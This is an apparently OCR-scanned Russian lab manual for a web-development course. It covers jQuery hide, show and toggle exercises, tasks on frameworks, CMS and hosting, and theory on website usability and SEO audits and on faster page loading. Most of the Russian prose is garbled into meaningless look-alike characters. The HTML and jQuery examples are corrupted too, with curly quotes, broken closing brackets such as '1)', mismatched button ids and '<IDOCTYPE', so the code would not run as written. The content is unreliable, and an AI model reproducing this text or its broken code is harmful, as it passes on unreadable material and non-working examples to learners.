3ananue Ne 4. Pazpaboraiite Kol OTIpaBKH (aiisia ¢ UICIIOJIb30BaHUEM Ajax.

Jla6opaTopnasi pa6ora 13. «IIpumeHnenue Texnojgoruu AJAX»
Lenn: o3HakomuThes ¢ 6nbamorekoit jQuery.
XO PABOTBI:



3ananue Ne 1. BeimosHUTE ipuMep.
<!DOCTYPE html>
<html>
<head>
<script src="http://code.jquery.com/jquery-latest.js">
</script>
<script>
$(document).ready(function () {
$("button”).click(function () {
$("p").hide();

1)
1)

</script>
</head>

<body>

<h2>This is a heading</h2>
<p>This is a paragraph.</p>
<p>This is another paragraph.</p>
<button>Click me</button>

</body>

</html>

[IpoBeputh paboty meroxa hile(). IlonmpoOoBaTh 3aMeHUTH OMOJIMOTEKY jquery-latest.js Ha Apyrue IBe,
OIKCaHHBIC BHIIIIE, CPABHUTD PE3YJIBTATHI PAOOTHI.
3aganue Ne 2. BoinonHuTh npumep.

<!DOCTYPE html>

<html>

<head>

<script src="http://code.jquery.com/jquery-latest.js">
</script>

<script>
$(document).ready(function () {
$("button").click(function () {
$("#test”).hide();
1)

)i

</script>
</head>

<body>

<h2>This is a heading 2</h2>

<p>This is a paragraph.</p>

<p id="test">This is another paragraph.</p>
<button>Click me</button>

</body>

</html>

HpoaHaJ'II/BI/IpOBaTB OTJIMYHE €ro OT NpuMEpa B 3alaHUN 1.



3ananue Ne 3. BeIOJHUTE TpuMED.

<!DOCTYPE html>

<html>

<head>

<script src="http://code.jquery.com/jquery-latest.js">
</script>

<script>
$(document).ready(function () {
$("#butl").click(function () {
$("#test”).hide();
1)

$("#but2").click(function () {
$("#test").show();

1

}s

</script>
</head>

<body>

<h2>This is a heading 2</h2>

<p>This is a paragraph.</p>

<p id="test">This is another paragraph.</p>
<button id="but1l">Click me</button>

<button id="but2">Click me for show</button>
</body>

</html>
[Ipoananu3upoBaTh OTIMYME €TO OT IPUMEpPA B 3aJIaHUU 2.

3aganue Ne 4. BoinonHuTh npumep.

<IDOCTYPE html>

<html>

<head>

<script src="http://code.jquery.com/jquery-latest.js">
</script>

<script>
$(document) .ready(function () {
$("button").click(function () {
$(".test”).hide();
1)

1)
</script>
</head>
<body>

<h2 class="test">This is a heading</h2>
<p class="test">This is a paragraph.</p>
<p>This is another paragraph.</p>
<button>Click me</button>
</body>
</html>

HpoaHaJII/BI/IpOBaTB OTJIMYHC €ro OT NpuMEpa B 3alaHUN 3.



3ananue Ne 5. BeImogHUTE TpuMep.

<!DOCTYPE html>

<html>

<head>

<script src="http://code.jquery.com/jquery-latest.js">
</script>

<script>
$(document).ready(function () {
$("p").dblclick(function () {
$(this).hide();
1)

1
</script>
</head>
<body>

<p>If you double-click on me, I will disappear.</p>
<p>Click me away!</p>
<p>Click me too!l</p>

</body>
</html>

3aganue Ne 6. BoinonHuTh npumep.

<IDOCTYPE html>
<html>
<head>
<script src="http://code.jquery.com/jquery-latest.js">
</script>
<script>
$(document).ready(function () {
$("input™).focus(function () {
$(this).css("background-color", “"#ccccec");
}s
$("input").blur(function () {
$(this).css("background-color”, "“#ffffff");
1)

3
</script>
</head>
<body>

Name: <input type="text" name="fullname"><br>
Email: <input type="text" name="email">

</body>
</html>



3amanue Ne 7. BbIOTHUTH IpUMED.

JlabopaTopnasi pabora 14 «Mcnoab3oBanne (ppeiiMBOpKa VIl CO3AaHUS caliTa»

Llens: o3HakoMHTHCS ¢ OubIMoTeKoi jQuery.
XOH PABOTBI:
3ananue Ne 1. Beibepute u o6ocHyiiTe BRIOOp ppeiiMBOpKa.
3aganme Ne 2. Pa3paboraTh caiT-kaTajgora OAEXKAbl U OOYBH, KOTOpBIA Oyder ob0ianaTh CIEAYIOUMMHU
O0COOCHHOCTSIMU:

1. ToBapsl pa3eneHsl 0 KATEropusiM, C BO3MOXKHOCTBIO CO3JIaHHSI MTOIKATETOPUH.

2. Y1o0Hast aIMUHUCTPATUBHAS TAHEIIbIO.

3. MHOTOS3bIYHOCTB, MOJIIEPIKKA PYCCKOTO, PYMBIHCKOTO U aHTJIMHCKOTO SI3BIKOB.

4. Tlopnepskka BRICOKMX Harpy30K (KAIIMPOBAHHUE).

Jladoparopnas padora 15. «Co3ganme caiita Ha CMS»
Llens: o3nakomutsest ¢ CMS.
XO PABOTBI:
3aganue Ne 1. Boioepute u o6ocHyiite BE1O0op CMS.
3ananue Ne 2. M3yuute BoiOpannyo CMS.
3aganue Ne 3. YcraHoBUTE HEOOXOUMOE IPOIPaMMHOE 00€ECIIEUEHHE.
<IDOCTYPE html>
<html>
<head>
<script src="http://code.jquery.com/jquery-latest.js">
</script>

<script>
$(document).ready(function () {
$("button").click(function () {
$("p").toggle();

});
1)

</script>
</head>
<body>

<button>Toggle</button>
<p>This is a paragraph with little content.</p>
<p>This is another small paragraph.</p>
</body>
</html>
3aganue Ne 4. CipoekTupyiite caiT
3aganue Ne 5. Co3naiiTe MEHIO M CTPaHMIIBI CaliTa.

JlabopaTopHas padora 16. KAIMUHHCTPHPOBAHHE CAMTA»
[enb: 03HAKOMUTBCA ¢ TEXHOJIOTUSIMA aIMUHUCTPUPOBAHUS CalTa.
XO/J PABOTBI:
3ananme Ne 1. Pa3paborarh caiiT mpou3BOJIbHON TeMaTuku (4-5 ctpanuil). Bee cTpaHuiibl JOIKHBI UIMETh
OJMHAKOBBIN au3aiiH. Ha kaxmaoil cTpaHulle JOJDKHBI MPUCYTCTBOBATh: MEHIO, JJIEKTPOHHBIA aJpec
pa3paboTrunka, ToroTun caita. Ha crpanuiax caiita 10JKHBI pa3MenaTbes TaOIUIbI, CITUCKH, N300payKeHHS.
3amanme Ne 2. OnucaTh IpOIECCH ONTUMU3ALMY CaiTa.
3aganue Ne 3. OnncaTh BO3MOKHBIE BAPUAHTHI 3aLUTHI CailTa.

JlabopaTopnasi padora 17.«Ily0nukanus caifTa Ha 0eCIJIATHOM XOCTHHIEe»
[lenu: 03HAKOMUTBCA € TEXHOJIOTUAMU ITYOJIMKAIMK caiiTa Ha OECIIIaTHOM XOCTHHTE.
XOJ PABOTBI:
3ananue Ne 1. Pa3paGotarh u onmyOJaMKOBaTh CAalT MPOU3BOJILHON TeMaTuku (4-5 crpanui). Bee crpanuiibt
JIOJKHBI UMETh OJIMHAKOBBIN Au3aiiH. Ha kak10¥ CTpaHuIle TOJKHBI IIPUCYTCTBOBATH: MEHIO, JIEKTPOHHBII



anpec pa3paboTyMKa, JIOroTWN caiita. Ha crpaHumax caifta JOJDKHBI pa3MelIaThesi TAOJIHIBI, CIUCKH,
U300paKeHMsL.

MJIK. 03.02. ONTUMM3AIIAA BEB-TIPUJIOKEHUM
Tema 3.2.1 MeToabl ONTUMHU3ANUN Bed - NMPUIOKEHU I

JlaGopaTopnasi pa6ora 18. [IpoBenenue oduero ayaura caiita: SEQ, 103a0MIUTH, TEKCTHI
[{enb: 03HAKOMUTHCS C MPOLIECCOM MPOBEACHUS OOIIEro ayuTa caiTa.
XOJ PABOTHI:
Teopemuueckue ceedenus
Aynut — 310 npoueaypa He3aBUCHMOM OLIEHKH caiiTa skcnepToM. OneHka 10JKHa ObITh HE3aBUCUMOM IS
TOTO, YTOOBI HE OBITH MPEB3ATOM, a IKCIEPT JOJDKEH pa3duparhcs B paboTe BeO- CalToB.
10 monoevix omuod0K 103a0UNUMU UHMEPHEM-MAZA3UHA
. Marasus npojiaeT CIMIIKOM pa3HbIe TOBapHI.
. Ilo rmaBHOM CTpaHUIE HEMIOHATHO, YTO TPOJAET Mara3uH.
. JIIMHHBINA TEKCT Ha TJIaBHOW CTPAaHUIIE BMECTO PellIeHus IPOoOJieMbl KIIUEHTA.
. HexauecTBeHHBI MOWCK TOBAPOB HA CaTe.
. HesicHo, B kakux ropojax paboTaet Mara3uH.
. becrionesnslie cnaiiepsl.
. CnoxHas CTpyKTypa KaTajiora.
. 3amyTaHHasi HAaBUTAIUs 110 CAMTy.
. OmumoOku 1pu 0pOpMIICHUH 3aKa3a.
0. Hanane o0s3aTenbHOM perucTpanuy/aBTOpH3aIIHH.

OmmoOku mojacTeperarT Be3je: B 103a0MIUTH, B ONTHUMH3AIMU caiiTa, B HACTPOMKE CueTdyMKa BeO-
aHanuTuky. [loaToMy mo00oMy Biaenblly caifTa cieayeT 3HaTh, Ha Kakue rapamMeTpsl oOpaniath BHUMaHHUe
IpU OLIEHKE CBOEro caiTa. DTU 3HAHUA MPUTOMATCS M MpU MpUeMe paldoT Mo caiTy (omTUMH3aIus,
JIOpabOTKHU), €CITU BBI IAJIM KAKYIO-TO 3a/1a4y CBOUM pa3paboTyrKam, In00 3aKa3alid JopabOTKH y CTOPOHHEH
KOMIIaHUH.

Ceiiuac B lHTepHeTe B CBOOOAHOM JOCTYIIE€ €CTh MHOTO YEK-JIUCTOB JJIsi CAMOCTOSITENIbHOM MPOBEPKU
ONTUMM3AINH U 03a0UITUTH caiiTa. OANH U3 KIAaCCUYECKUX YeK-JIHCTOB M0 03a0unuti — 10 3Bpuctuk Sdxkoba
Hunbcena, n3BecTHOro crenuanucta B 00JacTH MPOEKTUPOBaHUS HHTEpdeiicoB. 1 OLIEHKH ONTUMU3ALINN
TaK)X€ €CTh YEK-JIUCThI B OTKPBITOM JIOCTYTIE.

[Tpu KoMIUIEKCHOM ayauTe, ollcHUBarOTCs Oosiee yem 150 mapamerpam. SEO-ananu3 caifta mpoBOAUTCS 11O
CJIeIYIOLUM MapaMeTpam.

e Teru title, description, keywords (Teru 10KHBI COOTBETCTBOBATh OCHOBHBIM ITPaBUJIaM).

e Teru 3aronoBkoB H1, H2 (mpaBuiibHOEe 0opMiIeHHE 3aroIOBKOB HE TOJIBKO MOMOYKET IOCETUTEIIO
OBICTpee HAWTU HYKHYIO HHGOPMAIINIO U COPUEHTHPOBATHCS HAa CTPAHMIIE, HO M TTO3BOJUT YBEIUYHUTH BEC
KJIFOUEBBIX CJIOB).

e ATpudyt Alt m1s kapTuHOK (aTpuOyT alt Tera <img> JOHKEH MPUCYTCTBOBATh BO BCEX KapTHUHKA
caiTa).

e AHanM3 TEKCTOB Ha caiiTe (KaueCTBEHHbIE TEKCThI — 3TO OCHOBA BCETO MPOJIBHKEHU).

® YHUKaIbHOCTb.

e OnTUMH3aIHUA.

e [IpoBepka ¢ TOUKU 3peHUs O3Bl 1711 YATAIOLIETO.

TexHn4ecKkne XapaKTePUCTUKU:

o (baiin Robots.txt (mpucyTCTBYT 1111 3TOT (haiin);

o Hasimumne omuoku «Googlebot He MoXkeT moy4duTh Aoctyn K (aiinam CSS u JS Ha caiitey;

0 CKOPOCTb 3arpy3Kd CTpaHUIL;

0 ONTUMH3AIUS 0] MOOMIIbHBIE YCTPOICTBA;

o BasmaHocTe HTML-kona;

0 OuThIE CCHUIKU (HaM4Ke OUTHIX CCHUIOK HEraTUBHO CKA3bIBAETCS HA MPOJIBUYKEHUN ),

0 TyOIMpOBaHHBIA KOHTEHT.

OneHky 103a0MJINTH MPOBOJUTCS MO IIECTH OCHOBHBIM TPYIINAaM XapaKTEPUCTHK, YTOOBI MOJIYYUTh
IIOJIHBIM, BCECTOPOHHMM aHAJIN3 U HUYETO HEe yIYCTUTh. [[OBEpXHOCTHO 10 3TUM TpyIIIaM CBOM CaUT MOXKET
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CaMOCTOSITEJIbHO OLIEHUTH JI000W Biajenel. I'JaBHOE B CaMOCTOSITENBHON OLEHKE — OBITh MAaKCHMAaJbHO
HenpeaB3sAThIM. PaccMoTpuM 6a30Bbie COCTABIIAIONIUE ayIuTa 103a0MINTH ToApoOHEe.

1. Ouenka I'nasnoii cmpanuuybi.
AymuT 103a0UIUTH HAYMHAEM C OLEHKHU | J1aBHOW cTpaHUIbl. 3ajada OIEHKH — IMOHSATh, HACKOJIBKO OHA
3¢ deKTUBHA B KaYeCTBE II0CA0YHOM CTPaHUILIBI.
Illanka cauma
Jliis Hadana cMOTPHM, MOHSTHA JIM TEMaTHKa, €CJI 3aXO0/HILb Ha CaliT BrepBble? XOpoIlo, KOrjia TeMaTHKa
nepejiana npsMo B LIANKe caidTa (Ha3BaHUE, JIOTOTHUII, CJIOTaH U T.I1.) U CTAHOBUTCS MOHSATHA B miepBoie 10
CEeKYH]I.
Ilepewiii 3kpan
Jlanee onieHMBaeM BeCb MEPBBIN 3KpaH (Ty YacThb CTPAHUIIbl, KOTOPYIO BUJUT IOCETUTEIIb, IIOKA HE Hayal
NpOoKpy4nBaTh BHU3). Eciin caliT mpogaer ToBap/yciyry, TO OHa JOJDKHA IPUCYTCTBOBATH HA IIEPBOM SKpaHe.
3ajaua NepBOro SKpaHa — [0Ka3aTh, YeM MOXKET ObITh IIOJIE3EH CANUT IOceTUTEN0. J{J1s HepBOro 3KkpaHa TaKkxe
Ba)XHO HAJMYUE OCHOBHOW KOHTAKTHOW MH(POPMALIUU HA BUIHOM MECTE.
Heo6xoauMo oOpaTuTh BHHMaHHE Ha HalW4yMe NEPUOJUYECKH OOHOBJISIEMOM MHGOpMaluu, Hampumep,
CBEXXHUX MPOEKTOB, CTaTeil Wi HOBocTel. Takas nH(pOpMAaIHst MOKAKET ITOCETUTEIISIM, YTO Balll CANT KUBY.
Iloosan
CnycTUBIIMCH B CaMblil HU3 CTPAHULIbL, OLICHUTE MoABaJI caiiTa. JKenarenbHO, YTOObI B 1O/BasIe ObUIN CCHUIKU
Ha OCHOBHBIE pa3/ielibl caiiTa u Obl1a 3aMeTHA 0(hOpMIIEHHAs! KOHTaKTHAs HHPOpMaLUs.

2. Ouyenka unmepaKmueHoCmu.
WHTEepakTUBHOCTb COCTABIISAIOT BCE JIEMEHTHI, C KOTOPBIMH MOXET B3aUMOJAEHCTBOBATH ITOCETUTENb CaiiTa.
3a/1a4ya OLIEHKH UHTEPAKTUBHOCTH — [TOHTh, HACKOJBKO HAIJISTHO IPEICTaBICHbI HHTEPAKTUBHBIE 3JIEMEHTHI
U HACKOJIBKO KOPPEKTHO OHM paboTaloT.
Ccoiiku
[TocmoTpuTe Ha odopMIIEeHHE CCHIJIOK Ha BallleM CaiiTe: MOHATHO JIM 0e3 HaBeAEHUs Kypcopa, 4TO Ha HUX
MOKHO HaxkaTh? JKenarenbHO, 4TOOBI BCE CCHUIKU ObUIH 0()OPMIIEHBI B OTHOM CTHJIE U ObUIM MOAYEPKHYTHI,
a Ha3BaHMs HAYMHAINCH CO 3HAYUMBIX CJIOB, KOTOPBIE MILET MOCETUTENb. [loxoauTe mo 3TUM cChUIKaM U
IIPOBEPHTE, HET JIM BEAYLIUX B HUKY/A (HA MYCTYIO CTPAHUILy WM Ha cTpaHuily 404 ommokm).
IlIpocmomp kapmunok
Jlanee mpoBepbTe KAPTUHKU: MOHSATHO JIM, YTO HEKOTOpbIE M3 HUX MOXHO npubnusuth? Ilpm Hanuuum
¢ororanepen A MPOCMOTPA KAPTUHOK €€ BUJ] U KHOIIKU YIIPABICHUS JOJKHBI ObITh OJJUHAKOBBIMU Ha BCEM
caure.
Ouenka nasuzayuu. I'nodanvnas naguzayus
[IpoBeprTe, yTOOBI B I11006aIbHOM HaBUralMK (Yallle BCEro 3TO BEPXHEE MEHIO B ILIANKE caiiTa) ObLI OTpakeH
BEPXHHUI ypOBEHb MEpapXMu cailTa, a Takke 4TO HUKAaKoW pas3jein He ymylleH. B rimobanbHol HaBUTalUU
00s3aTeNbHO JOJDKHBI MPHUCYTCTBOBATh CCBHUIKM Ha CIy:KeOHbIe pasnensl, Hampumep: «O KOMIaHUN,
«Kontakts», «[lomompy», «Kapra caiitay. ['mobanbHass HaBUTaLUs JOJDKHA MPUCYTCTBOBATH Ha KaXKIOH
CTpaHHULIE cailTa, JOJKHA OBITh BU3YalbHO BBIJIEJIEHA, U COCTaB €€ CChUIOK JIOJKEH OBITh MOCTOSHHBIM.
BaxHo, 4T0oOBI B r1100aJIbHOM HABUTallMK U BO BCeX OOKOBBIX MEHIO (€CJIM OHH €CTh) OTPaXKaJICs aKTUBHBIN
pazzen, B KOTOPOM HaXOJUTCS MOCETUTEb.
3azonoeku
BBepxy kax10#1 cTpaHUIBI caiiTa JOHKEH ObITh 3aMETHBIN 3aroJIOBOK. JTO BaXKHO Kak I F03a0MIINTH, TaK
u ¢ Touku 3peHus SEO.
IHlouck no caiimy
Emre pexomMeH1yeM MpoBEpUTH MOKMCK 110 CAUTY: OKHO MOUCKA JOJKHO OBITh JOCTYITHO HA JIF0OOOH CTpaHMIIE,
a MOMCK JOJDKEH BBIJIaBaTh KaueCTBEHHBIE pPe3yNlbTaThl Ja)ke MPHU 3alpoce U3 HECKOJIBKUX CJIOB WIH C
opdorpadudeckoii OmuOKO.

3. Ouenka ousaiina.
Jlu3aifH — CyIIHOCTb OY€Hb CYOBEKTHBHAs, OLEHUTh €ro OOBEKTHBHO ObIBaeT cioxkHee Bcero. Ho ecthb
HECKOJIbKO OOLIMX XapaKTEePUCTHUK, OLICHUTh KOTOpPbIE OYAET JOCTaTOYHO JIETKO.
Lléem ocnoenwix 31eMenmos
[Ipexne Bcero OLEHUTE HMCHOJIb3yeMble OCHOBHBIC I[BeTa. COOTBETCTBYIOT JIM OHM TeMaTuke canta? ¥
KaXJ0ro I[BE€Ta €CTh CBOM AacCOLMATHBHBIA psAl, HAIpUMEP: 3€JCHBIA ACCOLMHPYETCS CO 30POBBEM,
KpacoTOM, rapMOHMEN, U BPSIZL JIM €r0 CTOUT MCIIOJIb30BaTh HA CaliTe MOXOPOHHOIO areHTCTBA, Pa3Be TOJIBKO
YTOOBI «BBIJICIUTHCS» Ha (POHE KOHKYPEHTOB.



CIMImkoM MHOTO IIBETOB Ha CaiiTe HE HYXXHO, IOCTATOYHO 2 OCHOBHBIX: IIBET ()OHA W IIBET OCHOBHBIX
aneMeHTOB. Vcrnosb3oBaHME HECKOJBKUX I[BETOB JOMYCKAaEeTCs, €CIAM Bbl XOTHUTE, HANpPUMEp, MOKa3aTh
Pa3HUILy MEXKy BalllMMH TapudamMu WIH YCIyraMu, TO €CTh clIeJaTh IBETOBOE KOJAUPOBAHHUE.

Konumpacm

B nuzaitne cinenyer mzberaTh HEIOCTATOYHOTO KOHTpacTa. Hampumep, korma 1iset o0beKTa OTIIMYaeTCsS OT
[BeTOB ()OHA JIMIIbL OTTEHKOM, HO HE HACBHINMIEHHOCTHIO WM SPKOCTHIO, OOBEKT CTAHOBHUTCS TPYIHO
BOCIIpUHUMATh. [IpoBepbTe, KOHTPACTHBI JIM 3JIEMEHTHI Ha BaimieM cairte. J[Jis 3TOro MOKHO HCIOJb30BaTh
CrielUaIbHbIE OHJIAWH-CEPBUCHI.

DJIEMEHTHI Ha CTPAHMIIE JODKHBI OBITh BRIPOBHEHBI OTHOCHUTEIBHO JPYT JApyra M «Imo ceTke». [Ipudyem Ha
TUTIOBBIX CTPAHUIIAX KOMIIOHOBKA 3JIEMEHTOB JIOJKHA OBITh TAKXKE TUIIOBOM, a HE Pa3IMYaThCs OT CTPAHUIIBI
K cTpaHuIle. BelpaBHUBaHUE 3JIEMEHTOB BaXKHO B hOpMaX, TaK Kak 0€3 HETO rj1a3 «CKavyeT» U 3arOJIHSITh IO
CTAHOBUTCS CIIOKHEE.

Bu3syanovnwvie oopasut

Ecnu Ha caiite ecTb BU3yalibHble 00pa3bl (MKOHKH, MUHUATIOPBI, M300paKeHUS U T. 11.), OLIEHUTE, HACKOJIBKO
OHHM COOTBETCTBYIOT KOHTEKCTY, JIOTIOJHSIOT JIU ero. HempaBuibHOE UCHOIB30BAaHUE BU3YaJIbHBIX 00Pa30B
MOJKET 3aIyTaTh MOCETUTETIS.

Ha crpanunax gomkHa ObITh YeTKask HepapXus BU3YAIbHBIX 00pa30B — BAXKHOE HYKHO BU3YAJIbHO BBIJEINATD,
4yTOOBI OHO Cpa3y MOMaAao B noJjie 3peHus. OueHure, cpasy Ju Bbl BUAUTE CAMOE TJIaBHOE HA BCEX CTPAHHUIIAX
WJIH TJI-TO MPUXOJUTCS JOJITO UCKATh.

4. Ouenka Konmenma.
Kak mpaBmio, KOHTEHT — 3TO TO, PajJd YETrO CO3/aeTcs CalT. 3ajada OICHKH KOHTEHTa — IPOBEPUTH,
HACKOJIBKO XOPOIIIO0 BOCIPUHUMAETCS Balll KOHTEHT M HACKOJIBKO OH MHTEPECEH.
Texcmut
TekcThl HYKHO TPOBEPATh KAaK C TOYKH 3PEHUS BU3YaJbHOTO OGOpPMIICHHS, TaK U C TOYKH 3pEHUs
coJiep KaIerocs B HUX CMbICIIA.
ITpu npoBepke oopMIIEHUSI CMOTPHUTE, XOPOLIO JIM TEKCT KOHTPACTUPYET ¢ GoHOM. B 006111em cirydae Hy»KHO
80 % xontpacta. [IpoBepuTh CaT MOXHO C MOMOIIBIO OHJAWH-CEPBUCOB, HO OOBIYHO IUIOXOW KOHTPACT
BUJHO 1 6e3 HuX. TeKCThl JOKHBI OBITh 0dopMIIeHBI mpudToM 6e3 3aceuek, pazmep mpudTa ot 14px. Ha
caifTe JIydIie He HCIOB30BaTh Ooee 2 MPUQTOB: OJUH IS OCHOBHOTO TEKCTA H €IIe OJIUH IS 3aT0JIOBKOB
CTpaHHMIL.
Bce TekcThl Ha caiiTe clieyeT MpOBEpUTh Ha YHUKAIHHOCTH C TIOMOIIBIO CIEIHMATbHBIX OHJIAWH- CEPBHCOB.
HeyHukanbHble TEKCTBI HY)KHO Iepenucarh, TaKk KaK OHHM IUIOXO OTPaKalOTCs Ha MO3ULIMIX caiTa. [la u
KJIMEHTY HEMPHUSATHO YATATh TEKCTHI, KOTOPBIE OH YK€ T/Ie-TO BUIEI.
Ha caiite He 10MKHO OBITh HEOOOCHOBAHHO JJIMHHBIX TEKCTOB. Eciu oHM ecTh M 6e3 HUX HUKYJa (Kakue-
100 npaBuia MOJb30BaHUs BalllUMU YCIyraMH), TO OHU JIOJKHBI OBITH 0()OpMIIEHBI C BbIIEJICHHEM a03alleB,
M0/J3ar 0JIOBKOB, YTOOBI MPOIIE MPOYUTHIBAIUCE.
[lepeunTaiite X0Ts OBI TJABHBIE TEKCTHI, NMPOBEPHTE HMX HA HAIMYHE TPAMMATHYECKHX, JEKCHYECKHX,
NYHKTYallMOHHBIX, PEUEBBIX U MIPOUYUX OIINOOK.
Kaprtrnaku
Bce xapTuHKM Ha caiiTe JOJKHBI OBITH XOPOIIEro KayecTBa, OCOOCHHO €CIM y BaC MHTEPHET- Mara3uH.
[TocmotpuTe, HE TOPTHTCS JIK (HOTO BAIIMX TOBAPOB MPU MPUOIIKEHUH, MOXHO JIM PACCMOTPETH JIETallH,
ecTb JM (hoTorpaduu ToBapa B pa3HbIX paKypcax
YHUKaJIBEHOCTh KAPTHHOK TOXE CTOMT MPOBEPHUTH. MOKHO TOCMOTPETh, KaKie KapTHHKH Ha CAlTe y BAIINX
KOHKYpEHTOB. JIyulie He OpaTh KapTUHKHU ¢ OeCIIaTHBIX (POTOCTOKOB, TOTOMY YTO OHH Be3Jle: Ha Obunbopax,
Ha yIMaKoBKax, Ha cairax. I[lmaTHeIMH ()OTOCTOKaMHM MOJB3YEeTCs Topa3fo MEHBIIE IIIOJeH, a BBIOOD
¢dororpaduii orpomen. Camoe nyuiiee pemeHne — aenaars Gororpaduu cCBOMX COTPYIHUKOB, CBOUX TOBAPOB.
DTO caMblif TOPOTOM BapuaHT, HO OH JaeT TApaHTUIO YHUKAJILHOCTH Bamux (Gororpaduii 1 aBTOMaTUYECKH
MIOBBIIIAET YPOBEHb IOBEPUS ITIOCETUTENEH K CAaUTy

5. Ouenka ¢hopm u ouanozoe.
3anaua oueHKu (GopM U TUAIOTOB — MPOBEPUTH KOPPEKTHOCTh pabOThI BceX (GOpM Ha caifTe, HAWTH OIIMOKU
B paboTe, HEYy100CTBA MIPU 3aMOTHECHUH.
[TonpoOyiiTe 3amoiHUTh KaXAyI0 U3 GopM Ha cBoeM caiite. OLeHHTe, BCE JIM MOJs BaM MOHATHBI, HET JIU
JUITHUX 00s3aTeIbHBIX ToJiel (Hampumep, oOs3arenbHOoe mojie email B dopme mis 3akaza OOpaTHOTO
3BOHKa), ”H(POPMATUBHBI JIU COOOIIEHUs 00 OImMOKax, cpabaThIBACT JIM KHOTIKA OTIIPABKH JAHHBIX C (DOPMBI,
MPUXOJIAT JIM cOO0MmEeHHsI ¢ (OopM K BaMm Ha MOYTY (MJIU TOMAIal0T B criam?).



[IpoBepka KOppeKTHOCTH BBOAa HHGoOpMamuu B (OPMBI JOJDKHA OCYIIECTBISATHCS 0€3 mepe3arpy3ku
cTpaHuIlbl. B ciydae ecim mepesarpy3ka Bce-Taku MOHAI00UIACh, TO Bl HE IOJDKHBI BBOJUTH HH(DOPMAIIHIO
BTOPOW pa3 — NaHHBIE JOJDKHBI COXPAaHUTHCS. B MHOTOCTpaHWYHBIX (hopMax AOJKHA OBITH BO3MOXKHOCTH
BEPHYTHCS C COXPAaHEHUEM JIaHHBIX.

6. Ouenka Koneepcuu.
UroObl HOHUMATh, HACKOJIBKO A((EKTUBEH CAWT U KaKas y caiiTa KoHBepcus, He 000iTuCh 0e3 cueTynka Beo-
aHanuTuku. [locie ycTaHOBKM cCyUeTYMKAa HEOOXOAUMO OO0S3aTEhbHO HACTPOUTH IEIH W TEPUOIUYECKH
OIICHUBATh KOHBEPCHIO U OCHOBHBIC MTOKa3aTeNu caiita. MHorue Biaaenbiibl 00 37ToM 3a0biBatoT. B mporiecce
KOMILJIEKCHOTO ayJIuTa OY€Hb MOMOTAIOT JAaHHBIC CHCTEM Be0O-aHaJUTHUKH: HU MX OCHOBE MOXKHO CTPOHTH
THIIOTE3BI 0 IpobJeMax caiiTa, B TOM 4uciie mpoliaeMax ¢ 103a0MINTH.
B cocraB komrmuiekcHoro ayauta BXxoauT: SEO-aynuT, ayauT 03a0WINTH, aHAIU3 BEO-aHAIUTHKU (B TOM
YHClie KOHBEPCHH ), POBEPKA M HACTPOUKa 11esieid. [I[poBecTH MOBEpXHOCTHBIN ayUT MOXKET JIFOO0H BIaaemner]
caiita. B r03a0unuTu-aynure OlEHUBAIOTCA: [ J1aBHAs CTpaHWIlA, HHTEPAKTUBHBIC SJIEMEHTHI, HABUTAIIHS,
JU3aiiH, KOHTEHT, ()OPMBI U JTUAJIOTH.
3apanme Ne 1. [IpoBectu aynut 3a1aHHOTO caifTa.

Jlaboparopnasi padora 19. «UcciienoBanue cnoco00B YCKOPeHHs 3arpy3KH CAUTOB»

Lenb: nzyuenue cnoco00B YCKOPEHMSI 3arpy3KU CalTOB.
XO/Jl PABOTBI:
Teopemuueckue céedeHusn
Crioco0bl yCKOpEeHHMs 3arpy3KU CaiToB.
Bpewmst 3arpy3ku caiita — OJIMH U3 Ba)XHEUIINX [T0OKA3aTeIeH, BIUSOLIUMI Ha [TIOBEICHUE I10J1b30BaTEIIEH CalTa.
CHuXeHue CKOPOCTH 3arpy3Ku CTpaHMIIbI Ha 1 CeKyHIy BiI€YeT 3a COOOM:

® YMEHBIIIEHHE YUCIa MPocMOTpoB Ha 11 %;

® CHIDKEHHE 1T0Ka3aTess yJOBJIETBOPEHHOCTH I0b30Barens Ha 16 %;

® yMEHbILIEHNE KOHBEPCUH 10 6 %.
[Tapa nUIIHMX CEKyHI BpPEMEHHM 3arpy3KM CaiiTa yMEHBINAIOT IIAHCBHl 3aMHTEPECOBATH ITOCETUTEIEH U
OCYIIECTBUTD MPOJAXKH.
KISSmetrics npoBena uccieioBaHie Ha TEMY TOT'0, KaK CKOPOCTh 3arpy3KH caiiTa CKa3bIBa€TCsl HA IOBEJCHUH
MOJIb30BATENEN U MOKYIIATENECH:

® 47 % mosnp30BaTeNnei 0KUAAIOT, YTO CTPAHUIA OTKPOETCSI MEHBIIIE YEM 3a 2 CEKYHJIbI;

¢ 40 % mosip30BaTeENE 3aKPBIBAIOT CANT, €CIIM OH 3arpy’KaeTcs A0JblIe 3 CEKyHT;

®79 % mnoxymnareneil, KOTOpbIE OCTAIMCh HEIOBOJIBHBIMH yJI00CTBOM caiiTa, CKopee BCero, He OyayT

IIOKYTIaTh YepPe3 HErO B AAJIbHEHIIIEM;

® 44 % uHTEepHET-TIOKyNaTeNIel pacCKa)kyT CBOMM 3HaKOMBIM O CaliTaX, KOTOPbIE UX HE YIOBIETBOPHIIL.

VYckopeHHas 3arpy3ka caiiTa 0COOCHHO BayKHA JIJISl TTOJIh30BaTENIEH, 3aX0ISIINX HA CAalT ¢ MOOMIIHHBIX
YCTPOMCTB. A Tak Kak ceddac 10js1 MOOWJIBHOrO TpaduKa MOCTOSIHHO pPacTeT, TO Ha YCKOpEHHE Ha
MOOWMIJIBHOM HY>KHO CJIeIaTh OCOOBIN aKIEHT.
PaccmoTpuM criocoObl yCKOpeHUs 3arpy3KH caifra.
1.  Coxparurs uncino HTTP 3ampocos.
CornacHo uccneoBaHusIM KOMITaHUU Y ahoo, 00JIbIIast 4acTh BPEMEHH MPH 3arpy3Ke CTPaHUIbI TPATUTCS HA
3arpy3Ky U300pakeHui, ailioB cTUIEH U CKPUTITOB.
Jnist 3arpy3ku Kaxjaoro Takoro (aina cozpaercs otaenbHbiii HTTP 3anpoc. Uem Gombliie Takux 3arpocos,
TeM O0JIbIlIe BPEMEHU MTPOXOIUT 10 MOMEHTA MOJIHON 3arpy3KH CTPAHUIIBI.
2. O6venunuTh 1 MUHADUIMPOBaTh CSS 1 JS-daiinel. Camblil TPoCTON CIOCOO COKPATUTH KOJTMUYECTBO
3anpocoB — o0beanHUTH, W MuHHbUIUpoBaTh (cxath) HTML, CSS u JavaScript ¢ainsl. s sToro
OTKPBIBAaEM JIFO00H TEKCTOBBIN PEIaKTOP, BCTABISIEM B HETO COJCPKMMOE BCEX UCIIOIB3YEMBIX CSS-(aiiyioB B
